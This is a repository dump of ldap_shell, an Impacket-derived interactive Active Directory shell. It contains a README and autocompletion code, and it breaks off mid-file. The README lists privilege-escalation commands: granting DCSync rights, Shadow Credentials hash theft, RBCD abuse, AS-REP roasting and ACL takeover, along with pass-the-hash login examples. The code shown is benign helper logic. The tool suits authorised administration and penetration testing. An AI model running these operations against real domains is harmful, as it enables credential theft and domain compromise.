├── .gitignore ├── .idea ├── .gitignore ├── inspectionProfiles │ └── profiles_settings.xml ├── ldap_shell.iml ├── misc.xml ├── modules.xml └── vcs.xml ├── README.md ├── ldap_shell ├── __init__.py ├── __main__.py ├── completers │ ├── __init__.py │ ├── action_completer.py │ ├── ad_object_completer.py │ ├── add_del_completer.py │ ├── attributes.py │ ├── base.py │ ├── boolean_completer.py │ ├── command.py │ ├── directory.py │ ├── dn_completer.py │ ├── mask_completer.py │ └── rbcd_completer.py ├── krb5 │ ├── __init__.py │ ├── asn1.py │ ├── ccache.py │ ├── constants.py │ ├── crypto.py │ ├── kerberos_v5.py │ └── types.py ├── ldap_modules │ ├── __init__.py │ ├── add_computer │ │ └── ldap_module.py │ ├── add_group │ │ └── ldap_module.py │ ├── add_user │ │ └── ldap_module.py │ ├── add_user_to_group │ │ └── ldap_module.py │ ├── base_module.py │ ├── change_password │ │ └── ldap_module.py │ ├── clear_rbcd │ │ └── ldap_module.py │ ├── dacl_modify │ │ └── ldap_module.py │ ├── del_computer │ │ └── ldap_module.py │ ├── del_dcsync │ │ └── ldap_module.py │ ├── del_group │ │ └── ldap_module.py │ ├── del_user │ │ └── ldap_module.py │ ├── del_user_from_group │ │ └── ldap_module.py │ ├── disable_account │ │ └── ldap_module.py │ ├── dump │ │ └── ldap_module.py │ ├── enable_account │ │ └── ldap_module.py │ ├── get_group_users │ │ └── ldap_module.py │ ├── get_laps_gmsa │ │ └── ldap_module.py │ ├── get_maq │ │ └── ldap_module.py │ ├── get_ntlm │ │ └── ldap_module.py │ ├── get_user_groups │ │ └── ldap_module.py │ ├── help │ │ └── ldap_module.py │ ├── search │ │ └── ldap_module.py │ ├── set_dcsync │ │ └── ldap_module.py │ ├── set_dontreqpreauth │ │ └── ldap_module.py │ ├── set_genericall │ │ └── ldap_module.py │ ├── set_owner │ │ └── ldap_module.py │ ├── set_rbcd │ │ └── ldap_module.py │ ├── set_spn │ │ └── ldap_module.py │ ├── start_tls │ │ └── ldap_module.py │ ├── switch_user │ │ └── ldap_module.py │ └── template │ │ └── ldap_module.py ├── prompt.py └── utils │ ├── __init__.py │ ├── ace_utils.py │ ├── ldap_utils.py │ ├── ldaptypes.py │ ├── module_loader.py │ ├── myPKINIT.py │ ├── nt_errors.py │ ├── security_utils.py │ ├── spnego.py │ └── structure.py ├── requirements.txt └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | /.tgitconfig 2 | .idea/* 3 | .idea/**/workspace.xml 4 | .idea/**/tasks.xml 5 | .idea/dictionaries 6 | .idea/**/dataSources/ 7 | .idea/**/dataSources.ids 8 | .idea/**/dataSources.xml 9 | .idea/**/dataSources.local.xml 10 | .idea/**/sqlDataSources.xml 11 | .idea/**/dynamic.xml 12 | .idea/**/uiDesigner.xml 13 | .idea/**/gradle.xml 14 | .idea/**/libraries 15 | $*$ 16 | cmake-build-debug/ 17 | cmake-build-release/ 18 | .idea/**/mongoSettings.xml 19 | *.iws 20 | out/ 21 | .idea_modules/ 22 | atlassian-ide-plugin.xml 23 | .idea/replstate.xml 24 | com_crashlytics_export_strings.xml 25 | crashlytics.properties 26 | crashlytics-build.properties 27 | fabric.properties 28 | .DS_Store 29 | .AppleDouble 30 | .LSOverride 31 | Icon 32 | ._* 33 | .DocumentRevisions-V100 34 | .fseventsd 35 | .Spotlight-V100 36 | .TemporaryItems 37 | .Trashes 38 | .VolumeIcon.icns 39 | .com.apple.timemachine.donotpresent 40 | .AppleDB 41 | .AppleDesktop 42 | Network Trash Folder 43 | Temporary Items 44 | .apdisk 45 | __pycache__/ 46 | *.py[cod] 47 | *$py.class 48 | *.so 49 | .Python 50 | build/ 51 | develop-eggs/ 52 | dist/ 53 | downloads/ 54 | eggs/ 55 | .eggs/ 56 | lib/ 57 | lib64/ 58 | parts/ 59 | sdist/ 60 | var/ 61 | wheels/ 62 | *.egg-info/ 63 | .installed.cfg 64 | *.egg 65 | MANIFEST 66 | *.manifest 67 | *.spec 68 | pip-log.txt 69 | pip-delete-this-directory.txt 70 | htmlcov/ 71 | .tox/ 72 | .coverage 73 | .coverage.* 74 | .cache 75 | nosetests.xml 76 | coverage.xml 77 | *.cover 78 | .hypothesis/ 79 | *.mo 80 | *.pot 81 | *.log 82 | .static_storage/ 83 | .media/ 84 | local_settings.py 85 | instance/ 86 | .webassets-cache 87 | .scrapy 88 | docs/_build/ 89 | target/ 90 | .ipynb_checkpoints 91 | .python-version 92 | celerybeat-schedule 93 | *.sage.py 94 | .env 95 | .venv 96 | env/ 97 | venv/ 98 | ENV/ 99 | env.bak/ 100 | venv.bak/ 101 | .spyderproject 102 | .spyproject 103 | .ropeproject 104 | /site 105 | .mypy_cache/ 106 | Thumbs.db 107 | ehthumbs.db 108 | ehthumbs_vista.db 109 | *.stackdump 110 | [Dd]esktop.ini 111 | $RECYCLE.BIN/ 112 | *.cab 113 | *.msi 114 | *.msm 115 | *.msp 116 | *.lnk 117 | *~ 118 | .fuse_hidden* 119 | .directory 120 | .Trash-* 121 | .nfs* 122 | [Bb]in 123 | [Ii]nclude 124 | [Ll]ib 125 | [Ll]ib64 126 | [Ll]ocal 127 | [Ss]cripts 128 | pyvenv.cfg 129 | pip-selfcheck.json 130 | logs/* 131 | !.gitkeep 132 | .vscode/launch.json 133 | .vscode 134 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/ldap_shell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LDAP shell 2 | This project is a fork of ldap_shell from Impacket. It provides an interactive shell for Active Directory enumeration and manipulation via LDAP/LDAPS protocols, making it useful for both system administrators and security professionals. 3 | 4 | 5 | ## Installation 6 | These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go. 7 | Installation with pip: 8 | ```bash 9 | git clone https://github.com/PShlyundin/ldap_shell.git 10 | cd ldap_shell 11 | python3 -m pip install . 12 | ``` 13 | 14 | Installation with uv: 15 | ```bash 16 | uv venv 17 | uv pip install . 18 | ``` 19 | 20 | ## Usage 21 | ### Connection options 22 | ```bash 23 | # Basic authentication with password 24 | ldap_shell domain.local/user:password 25 | 26 | # Specify domain controller IP address 27 | ldap_shell domain.local/user:password -dc-ip 192.168.1.2 28 | 29 | # Authentication using NTLM hashes 30 | ldap_shell domain.local/user -hashes aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404e1 31 | 32 | # Kerberos authentication using TGT 33 | export KRB5CCNAME=/home/user/ticket.ccache 34 | ldap_shell -k -no-pass domain.local/user 35 | ``` 36 | ### Functionality 37 | ``` 38 | Get Info 39 | dump [output_dir] - Dumps the domain 40 | get_group_users group - Get all users in a group 41 | get_laps_gmsa [target] - Retrieves LAPS and GMSA passwords associated with a given account (sAMAccountName) or for all. Supported LAPS 2.0 42 | get_maq [user] - Get Machine Account Quota and allowed users 43 | get_user_groups user - Retrieves all groups recursively this user is a member of 44 | search ldap_filter [attributes] - Search AD objects 45 | 46 | Abuse ACL 47 | add_user_to_group user group - Add a user to a group 48 | change_password user [password] - Attempt to change a given user's password. Requires LDAPS. 49 | clear_rbcd target [grantee] - Clear RBCD permissions for a target computer 50 | dacl_modify target grantee action mask - Modify DACL entries for target object 51 | del_dcsync target - Remove DCSync rights from user/computer by deleting ACEs in domain DACL 52 | del_user_from_group user group - Delete a user from a group 53 | get_ntlm target - Get NTLM hash using Shadow Credentials attack (requires write access to msDS-KeyCredentialLink) 54 | set_dcsync target - If you have write access to the domain object, assign the DS-Replication right to the selected user 55 | set_dontreqpreauth target flag - Targeted AsRepRoast attack. Set or unset DONT_REQUIRE_PREAUTH flag for a target user. 56 | set_genericall target [grantee] - Set GenericAll permissions for a target object 57 | set_owner target [grantee] - Set new owner for target object 58 | set_rbcd target grantee - Configure RBCD permissions for a target computer 59 | set_spn target action [spn] - List, add or delete SPN for a target object 60 | 61 | Misc 62 | add_computer computer_name [password] [target_dn] - Add a new computer account to the domain 63 | add_group group_name [target_dn] - Add new group to Active Directory 64 | add_user username [password] [target_dn] - Add a new user account to the domain 65 | del_computer computer_name - Delete a computer account from the domain 66 | del_group group_name - Delete group from Active Directory 67 | del_user username - Delete a user account from the domain 68 | disable_account username - Disable a user account in the domain 69 | enable_account username - Enable a user account in the domain 70 | start_tls - Start TLS connection with LDAP server 71 | switch_user username [password] - Switch current user to another 72 | 73 | Other 74 | help [command] - Show help 75 | exit - exit from shell 76 | ``` 77 | 78 | ## License 79 | Apache License 2.0 80 | 81 | ## Authors 82 | * [Riocool](https://t.me/riocool) 83 | * My [Telegram channel](https://t.me/RedTeambro) 84 | 85 | ## Credits 86 | * [Impacket](https://github.com/SecureAuthCorp/impacket) 87 | * [saber-nyan](https://saber-nyan.com) 88 | -------------------------------------------------------------------------------- /ldap_shell/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PShlyundin/ldap_shell/ee4df4a582830de900045ae3fdfdd8fea18adf92/ldap_shell/__init__.py -------------------------------------------------------------------------------- /ldap_shell/completers/__init__.py: -------------------------------------------------------------------------------- 1 | from typing import Union, List 2 | from .base import BaseArgumentCompleter 3 | from .ad_object_completer import ADObjectCompleter, UserCompleter, ComputerCompleter, GroupCompleter, OUCompleter 4 | from ..ldap_modules.base_module import ArgumentType 5 | from .directory import DirectoryCompleter 6 | from .attributes import AttributesCompleter 7 | from .command import CommandCompleter 8 | from collections import defaultdict 9 | from .rbcd_completer import RBCDCompleter 10 | from .dn_completer import DNCompleter 11 | from .add_del_completer import AddDelCompleter 12 | from .mask_completer import MaskCompleter 13 | from .boolean_completer import BooleanCompleter 14 | from .action_completer import ActionCompleter 15 | 16 | COMPLETERS = { 17 | ArgumentType.DIRECTORY: DirectoryCompleter, 18 | ArgumentType.USER: UserCompleter, 19 | ArgumentType.COMPUTER: ComputerCompleter, 20 | ArgumentType.GROUP: GroupCompleter, 21 | ArgumentType.OU: OUCompleter, 22 | ArgumentType.ATTRIBUTES: AttributesCompleter, 23 | ArgumentType.COMMAND: CommandCompleter, 24 | ArgumentType.RBCD: RBCDCompleter, 25 | ArgumentType.DN: DNCompleter, 26 | ArgumentType.ADD_DEL: AddDelCompleter, 27 | ArgumentType.MASK: MaskCompleter, 28 | ArgumentType.BOOLEAN: BooleanCompleter, 29 | ArgumentType.ACTION: ActionCompleter 30 | } 31 | 32 | class CompleterFactory: 33 | @staticmethod 34 | def create_completer( 35 | arg_type: Union[List[str], str], 36 | client=None, 37 | domain_dumper=None 38 | ) -> BaseArgumentCompleter: 39 | """ 40 | Creates a completer or multiple completers based on argument type(s) 41 | Returns a MultiCompleter if multiple types are provided 42 | """ 43 | # Convert single type to list for uniform processing 44 | arg_types = [arg_type] if not isinstance(arg_type, list) else arg_type 45 | 46 | completers = [] 47 | for arg_type in arg_types: 48 | completer_class = COMPLETERS.get(arg_type) 49 | if completer_class: 50 | if issubclass(completer_class, ADObjectCompleter) or issubclass(completer_class, RBCDCompleter) or issubclass(completer_class, DNCompleter): 51 | completers.append(completer_class(client, domain_dumper)) 52 | else: 53 | completers.append(completer_class()) 54 | if not completers: 55 | return None 56 | 57 | return MultiCompleter(completers) 58 | 59 | 60 | class MultiCompleter(BaseArgumentCompleter): 61 | """Completer that combines results from multiple completers""" 62 | 63 | def __init__(self, completers: List[BaseArgumentCompleter]): 64 | self.completers = completers 65 | self.max_total_suggestions = 20 66 | 67 | def get_completions(self, document, complete_event, current_word: str): 68 | # Get all possible completions from each completer 69 | all_completions = defaultdict(list) 70 | for completer in self.completers: 71 | completions = list(completer.get_completions(document, complete_event, current_word)) 72 | if completions: # Add only if there are results 73 | all_completions[completer] = completions 74 | if not all_completions: 75 | return None 76 | 77 | # Calculate how many suggestions to take from each completer 78 | num_completers = len(all_completions) 79 | base_per_completer = max(1, self.max_total_suggestions // num_completers) 80 | remaining = self.max_total_suggestions - (base_per_completer * num_completers) 81 | # Distribute suggestions 82 | for completer, completions in all_completions.items(): 83 | # If this is the last completer, give it the remaining slots 84 | if remaining > 0 and completer == list(all_completions.keys())[-1]: 85 | num_suggestions = base_per_completer + remaining 86 | else: 87 | num_suggestions = base_per_completer 88 | 89 | # Yield suggestions for current completer 90 | for completion in completions[:num_suggestions]: 91 | yield completion -------------------------------------------------------------------------------- /ldap_shell/completers/action_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | 5 | class ActionCompleter(BaseArgumentCompleter): 6 | """Completer for add/del actions""" 7 | 8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 9 | completions = [] 10 | 11 | options = ['add', 'del', 'list'] 12 | 13 | for option in options: 14 | if option.startswith(current_word.lower()): 15 | completions.append(Completion( 16 | option, 17 | start_position=-len(current_word), 18 | display=option, 19 | display_meta="Action" 20 | )) 21 | 22 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/ad_object_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import WordCompleter, Completion 2 | from prompt_toolkit.document import Document 3 | from prompt_toolkit.formatted_text import HTML 4 | from .base import BaseArgumentCompleter 5 | from typing import Union, Dict, Optional 6 | from abc import abstractmethod 7 | from ldap3 import SUBTREE 8 | import threading 9 | from ldap_shell.utils import history 10 | from ldap_shell.completers.base import ADObjectCacheManager 11 | 12 | class ADObjectCompleter(BaseArgumentCompleter): 13 | """Completer for AD objects (users, computers, groups, OUs)""" 14 | highlight_color = None # Base color, overridden in child classes 15 | attributes = ['sAMAccountName', 'name'] # Base set of attributes 16 | 17 | def __init__(self, ldap_connection, domain_dumper): 18 | self.ldap = ldap_connection 19 | self.domain_dumper = domain_dumper 20 | self.cache_manager = ADObjectCacheManager() 21 | 22 | def get_completions(self, document: Document, complete_event, current_word=None): 23 | if not isinstance(document, Document): 24 | return 25 | 26 | text = document.text_before_cursor 27 | in_quotes = (text.count('"') % 2) == 1 or (text.count("'") % 2) == 1 28 | 29 | # Get cache from manager 30 | cached_objects = self.cache_manager.get_cache(self.__class__.__name__) 31 | if cached_objects is None: 32 | cached_objects = self._get_ad_objects() 33 | self.cache_manager.set_cache(self.__class__.__name__, cached_objects) 34 | 35 | if text.endswith(' '): 36 | word_before_cursor = '' 37 | else: 38 | word_before_cursor = text.split()[-1] if text.split() else '' 39 | 40 | for obj in cached_objects: 41 | if ' ' in obj and not in_quotes: 42 | obj = f'"{obj}"' 43 | if word_before_cursor.lower() in obj.lower(): 44 | display = self._highlight_match(obj, word_before_cursor) 45 | if self.highlight_color: 46 | display = f"" 47 | yield Completion( 48 | obj, 49 | start_position=-len(word_before_cursor), 50 | display=HTML(display) 51 | ) 52 | 53 | def _highlight_match(self, text: str, substr: str) -> str: 54 | """Highlights the matching part of the text""" 55 | if not substr: 56 | return text 57 | 58 | index = text.lower().find(substr.lower()) 59 | if index >= 0: 60 | before = text[:index] 61 | match = text[index:index + len(substr)] 62 | after = text[index + len(substr):] 63 | return f"{before}{after}" 64 | return text 65 | 66 | def _get_ad_objects(self): 67 | objects = set() 68 | ldap_filter = self.get_ldap_filter() 69 | 70 | try: 71 | # Use built-in method for pagination 72 | search_generator = self.ldap.extend.standard.paged_search( 73 | search_base=self.domain_dumper.root, 74 | search_filter=ldap_filter, 75 | search_scope=SUBTREE, 76 | attributes=self.attributes, 77 | paged_size=500, 78 | generator=True 79 | ) 80 | 81 | for entry in search_generator: 82 | if entry['type'] != 'searchResEntry': 83 | continue 84 | 85 | # Priority attributes for each object type 86 | if self.primary_attribute in entry['attributes']: 87 | objects.add(str(entry['attributes'][self.primary_attribute])) 88 | elif self.fallback_attribute in entry['attributes']: 89 | objects.add(str(entry['attributes'][self.fallback_attribute])) 90 | 91 | except Exception as e: 92 | print(f"Error fetching AD objects: {str(e)}") 93 | 94 | return objects 95 | 96 | @abstractmethod 97 | def get_ldap_filter(self): 98 | """Each inheritor must define its own LDAP filter""" 99 | pass 100 | 101 | class UserCompleter(ADObjectCompleter): 102 | highlight_color = "ansibrightgreen" # Bright green background for users 103 | primary_attribute = 'sAMAccountName' 104 | fallback_attribute = 'name' 105 | 106 | def get_ldap_filter(self): 107 | return "(&(objectCategory=person)(objectClass=user))" 108 | 109 | class ComputerCompleter(ADObjectCompleter): 110 | highlight_color = "ansibrightred" # Bright red background for computers 111 | primary_attribute = 'sAMAccountName' 112 | fallback_attribute = 'name' 113 | 114 | def get_ldap_filter(self): 115 | return "(objectClass=computer)" 116 | 117 | class GroupCompleter(ADObjectCompleter): 118 | highlight_color = "ansibrightyellow" # Bright yellow background for groups 119 | primary_attribute = 'sAMAccountName' 120 | fallback_attribute = 'name' 121 | 122 | def get_ldap_filter(self): 123 | return "(objectClass=group)" 124 | 125 | class OUCompleter(ADObjectCompleter): 126 | highlight_color = "ansibrightmagenta" # Bright magenta background for OUs 127 | primary_attribute = 'name' 128 | fallback_attribute = 'distinguishedName' 129 | attributes = ['name', 'distinguishedName'] # Override attributes for OUs 130 | 131 | def get_ldap_filter(self): 132 | return "(objectClass=organizationalUnit)" -------------------------------------------------------------------------------- /ldap_shell/completers/add_del_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | 5 | class AddDelCompleter(BaseArgumentCompleter): 6 | """Completer for add/del actions""" 7 | 8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 9 | completions = [] 10 | 11 | options = ['add', 'del'] 12 | 13 | for option in options: 14 | if option.startswith(current_word.lower()): 15 | completions.append(Completion( 16 | option, 17 | start_position=-len(current_word), 18 | display=option, 19 | display_meta="Action" 20 | )) 21 | 22 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/attributes.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import FuzzyWordCompleter, Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | 5 | class AttributesCompleter(BaseArgumentCompleter): 6 | """Completer for LDAP attributes""" 7 | 8 | COMMON_LDAP_ATTRIBUTES = [ 9 | 'objectSid', 'objectGUID', 'objectClass', 'cn', 'sn', 'givenName', 'displayName', 10 | 'name', 'sAMAccountName', 'sAMAccountType', 'userPrincipalName', 'userAccountControl', 11 | 'accountExpires', 'adminCount', 'badPasswordTime', 'badPwdCount', 'codePage', 12 | 'countryCode', 'description', 'distinguishedName', 'groupType', 'homeDirectory', 13 | 'homeDrive', 'lastLogoff', 'lastLogon', 'lastLogonTimestamp', 'logonCount', 14 | 'mail', 'memberOf', 'primaryGroupID', 'profilePath', 'pwdLastSet', 15 | 'scriptPath', 'servicePrincipalName', 'trustDirection', 'trustType', 16 | 'whenChanged', 'whenCreated', 'objectCategory', 'dSCorePropagationData', 17 | 'instanceType', 'uSNChanged', 'uSNCreated' 18 | ] 19 | 20 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 21 | # Split current input by comma 22 | if ',' in current_word: 23 | prefix = ','.join(current_word.split(',')[:-1]) + ',' 24 | current_word = current_word.split(',')[-1].strip() 25 | else: 26 | prefix = '' 27 | 28 | # Create dictionary with attribute descriptions 29 | meta_dict = {attr: "LDAP attribute" for attr in self.COMMON_LDAP_ATTRIBUTES} 30 | 31 | # Use FuzzyWordCompleter for attributes 32 | completer = FuzzyWordCompleter( 33 | words=self.COMMON_LDAP_ATTRIBUTES, 34 | meta_dict=meta_dict 35 | ) 36 | 37 | completions = [] 38 | for completion in completer.get_completions(Document(current_word.lower()), complete_event): 39 | new_text = prefix + completion.text 40 | completions.append(Completion( 41 | new_text, 42 | start_position=-len(current_word) - len(prefix), 43 | display=completion.display, 44 | display_meta=completion.display_meta 45 | )) 46 | 47 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/base.py: -------------------------------------------------------------------------------- 1 | from abc import ABC, abstractmethod 2 | from prompt_toolkit.completion import Completion 3 | from prompt_toolkit.document import Document 4 | from typing import Dict, Optional 5 | import threading 6 | from ldap_shell.utils import history 7 | 8 | class BaseArgumentCompleter(ABC): 9 | """Base class for argument completers""" 10 | 11 | @abstractmethod 12 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 13 | """Return list of completions for current word""" 14 | pass 15 | 16 | class ADObjectCacheManager: 17 | """Singleton cache manager for AD objects""" 18 | _instance = None 19 | _lock = threading.Lock() 20 | _caches: Dict[str, Dict] = {} 21 | _last_history_position = 0 22 | 23 | def __new__(cls): 24 | if cls._instance is None: 25 | with cls._lock: 26 | if cls._instance is None: 27 | cls._instance = super().__new__(cls) 28 | return cls._instance 29 | 30 | def _should_refresh_cache(self) -> bool: 31 | """Checks if cache needs to be refreshed based on new commands in history""" 32 | try: 33 | # Get all commands from history 34 | history_commands = list(history.get_strings()) 35 | current_position = len(history_commands) 36 | 37 | # If position changed, check new commands 38 | if current_position > self._last_history_position: 39 | # Check only new commands 40 | new_commands = history_commands[self._last_history_position:] 41 | self._last_history_position = current_position 42 | 43 | # Check if there are add_ or del_ among new commands 44 | return any( 45 | any(cmd in command for cmd in ['add_', 'del_']) 46 | for command in new_commands 47 | ) 48 | 49 | return False 50 | except Exception: 51 | return False 52 | 53 | def get_cache(self, completer_type: str) -> Optional[set]: 54 | """Get cache for specific completer type""" 55 | cache_data = self._caches.get(completer_type) 56 | if cache_data is None: 57 | return None 58 | 59 | # Check if cache needs to be refreshed 60 | if self._should_refresh_cache(): 61 | return None 62 | 63 | return cache_data['objects'] 64 | 65 | def set_cache(self, completer_type: str, objects: set): 66 | """Set cache for specific completer type""" 67 | self._caches[completer_type] = { 68 | 'objects': objects 69 | } 70 | 71 | def clear_cache(self, completer_type: Optional[str] = None): 72 | """Clear cache for specific completer type or all caches""" 73 | if completer_type: 74 | self._caches.pop(completer_type, None) 75 | else: 76 | self._caches.clear() -------------------------------------------------------------------------------- /ldap_shell/completers/boolean_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | 5 | class BooleanCompleter(BaseArgumentCompleter): 6 | """Completer for boolean actions""" 7 | 8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 9 | completions = [] 10 | 11 | options = ['true', 'false'] 12 | 13 | for option in options: 14 | if option.startswith(current_word.lower()): 15 | completions.append(Completion( 16 | option, 17 | start_position=-len(current_word), 18 | display=option, 19 | display_meta="Action" 20 | )) 21 | 22 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/command.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | from ldap_shell.utils.module_loader import ModuleLoader 5 | from difflib import SequenceMatcher 6 | 7 | class CommandCompleter(BaseArgumentCompleter): 8 | """Completer for LDAP commands with fuzzy matching""" 9 | 10 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 11 | list_modules = ModuleLoader.list_modules() 12 | completions = [] 13 | 14 | # Convert current word to lowercase for comparison 15 | current_word_lower = current_word.lower() 16 | 17 | # Create list of tuples (module, similarity ratio) 18 | matches = [] 19 | for module in list_modules: 20 | # Check inclusion case-insensitive 21 | module_lower = module.lower() 22 | 23 | # Calculate similarity ratio 24 | ratio = SequenceMatcher(None, current_word_lower, module_lower).ratio() 25 | 26 | # If current word is substring of module or vice versa, 27 | # or similarity ratio is greater than 0.5 28 | if (current_word_lower in module_lower or 29 | module_lower in current_word_lower or 30 | ratio > 0.5): 31 | matches.append((module, ratio)) 32 | 33 | # Sort by similarity ratio 34 | matches.sort(key=lambda x: x[1], reverse=True) 35 | 36 | # Create completion for each match 37 | for module, ratio in matches: 38 | completions.append( 39 | Completion( 40 | module, 41 | start_position=-len(current_word), 42 | display_meta=f'{ModuleLoader.load_module(module).__doc__}' 43 | ) 44 | ) 45 | 46 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/directory.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from prompt_toolkit.completion import Completion 3 | from prompt_toolkit.document import Document 4 | from .base import BaseArgumentCompleter 5 | import os 6 | 7 | class DirectoryCompleter(BaseArgumentCompleter): 8 | """Completer for directory paths""" 9 | 10 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 11 | completions = [] 12 | 13 | try: 14 | # Get path for autocompletion 15 | if not current_word or current_word == '/': 16 | directory = Path.cwd() 17 | current_word = '' 18 | elif os.path.isabs(current_word): 19 | directory = Path(current_word).parent if not current_word.endswith('/') else Path(current_word) 20 | else: 21 | directory = (Path.cwd() / current_word).parent if not current_word.endswith('/') else Path.cwd() / current_word 22 | 23 | for item in directory.iterdir(): 24 | if item.is_dir(): 25 | display_name = item.name + '/' 26 | completion = str(item.relative_to(Path.cwd())) + '/' if not os.path.isabs(current_word) else str(item.absolute()) + '/' 27 | 28 | if completion.startswith(current_word): 29 | completions.append(Completion( 30 | completion, 31 | start_position=-len(current_word), 32 | display=display_name, 33 | display_meta="Directory" 34 | )) 35 | 36 | except (PermissionError, FileNotFoundError): 37 | pass 38 | 39 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/dn_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import WordCompleter, Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | from prompt_toolkit.formatted_text import HTML 5 | from ldap3 import SUBTREE 6 | from ldap_shell.completers.base import ADObjectCacheManager 7 | 8 | class DNCompleter(BaseArgumentCompleter): 9 | """Completer for DN""" 10 | def __init__(self, ldap_connection, domain_dumper): 11 | self.ldap = ldap_connection 12 | self.domain_dumper = domain_dumper 13 | self.cache_manager = ADObjectCacheManager() 14 | 15 | def get_completions(self, document: Document, complete_event, current_word=None): 16 | if not isinstance(document, Document): 17 | return 18 | 19 | text = document.text_before_cursor.replace('"', '') 20 | 21 | # Get cache from manager 22 | cached_objects = self.cache_manager.get_cache(self.__class__.__name__) 23 | if cached_objects is None: 24 | cached_objects = self._get_ad_objects() 25 | self.cache_manager.set_cache(self.__class__.__name__, cached_objects) 26 | 27 | if text.endswith(' '): 28 | word_before_cursor = '' 29 | else: 30 | word_before_cursor = text.split()[-1] if text.split() else '' 31 | 32 | for obj in cached_objects: 33 | # Check both identifier and DN 34 | if (word_before_cursor.lower() in obj['identifier'].lower() or 35 | word_before_cursor.lower() in obj['dn'].lower()): 36 | 37 | display = self._highlight_match(obj['identifier'], word_before_cursor) 38 | if obj['color']: 39 | display = f"" 40 | yield Completion( 41 | text = f"\"{obj['dn']}\"", 42 | start_position=-len(word_before_cursor), 43 | display=HTML(display) 44 | ) 45 | 46 | def _highlight_match(self, text: str, substr: str) -> str: 47 | """Highlights the matching part of the text""" 48 | if not substr: 49 | return text 50 | 51 | index = text.lower().find(substr.lower()) 52 | if index >= 0: 53 | before = text[:index] 54 | match = text[index:index + len(substr)] 55 | after = text[index + len(substr):] 56 | return f"{before}{after}" 57 | return text 58 | 59 | def _get_ad_objects(self): 60 | objects = [] 61 | COLOR_MAPPING = { 62 | 'user': 'ansibrightgreen', 63 | 'computer': 'ansibrightred', 64 | 'group': 'ansibrightyellow', 65 | 'ou': '#FF00FF', 66 | 'domain_root': 'ansiblue', 67 | 'gpo': 'ansibrightblue' 68 | } 69 | 70 | # Use built-in method for pagination 71 | search_generator = self.ldap.extend.standard.paged_search( 72 | search_base=self.domain_dumper.root, 73 | search_filter='(objectClass=*)', 74 | search_scope=SUBTREE, 75 | attributes=['distinguishedName', 'objectClass', 'sAMAccountName', 'ou', 'displayName', 'cn'], 76 | paged_size=500, 77 | generator=True 78 | ) 79 | 80 | for entry in search_generator: 81 | if entry['type'] != 'searchResEntry': 82 | continue 83 | 84 | dn = entry['dn'] 85 | obj_classes = entry['attributes'].get('objectClass', []) 86 | 87 | # Determine type 88 | if 'user' in obj_classes: 89 | obj_type = 'User' 90 | identifier = entry['attributes'].get('sAMAccountName', ['']) 91 | highlight_color = COLOR_MAPPING['user'] 92 | elif 'computer' in obj_classes: 93 | obj_type = 'Computer' 94 | identifier = entry['attributes'].get('sAMAccountName', ['']) 95 | highlight_color = COLOR_MAPPING['computer'] 96 | elif 'group' in obj_classes: 97 | obj_type = 'Group' 98 | identifier = entry['attributes'].get('sAMAccountName', ['']) 99 | highlight_color = COLOR_MAPPING['group'] 100 | elif 'organizationalUnit' in obj_classes: 101 | obj_type = 'OU' 102 | identifier = dn.split(',')[0].split('=')[1] 103 | highlight_color = COLOR_MAPPING['ou'] 104 | elif 'domainDNS' in obj_classes and dn.count(',') == 1: 105 | obj_type = 'Domain Root' 106 | identifier = dn.split('=')[1].split(',')[0] 107 | highlight_color = COLOR_MAPPING['domain_root'] 108 | elif 'groupPolicyContainer' in obj_classes: 109 | obj_type = 'GPO' 110 | # Get displayName or cn, considering possible missing attributes 111 | display_name = entry['attributes'].get('displayName', [None]) 112 | cn_value = entry['attributes'].get('cn', 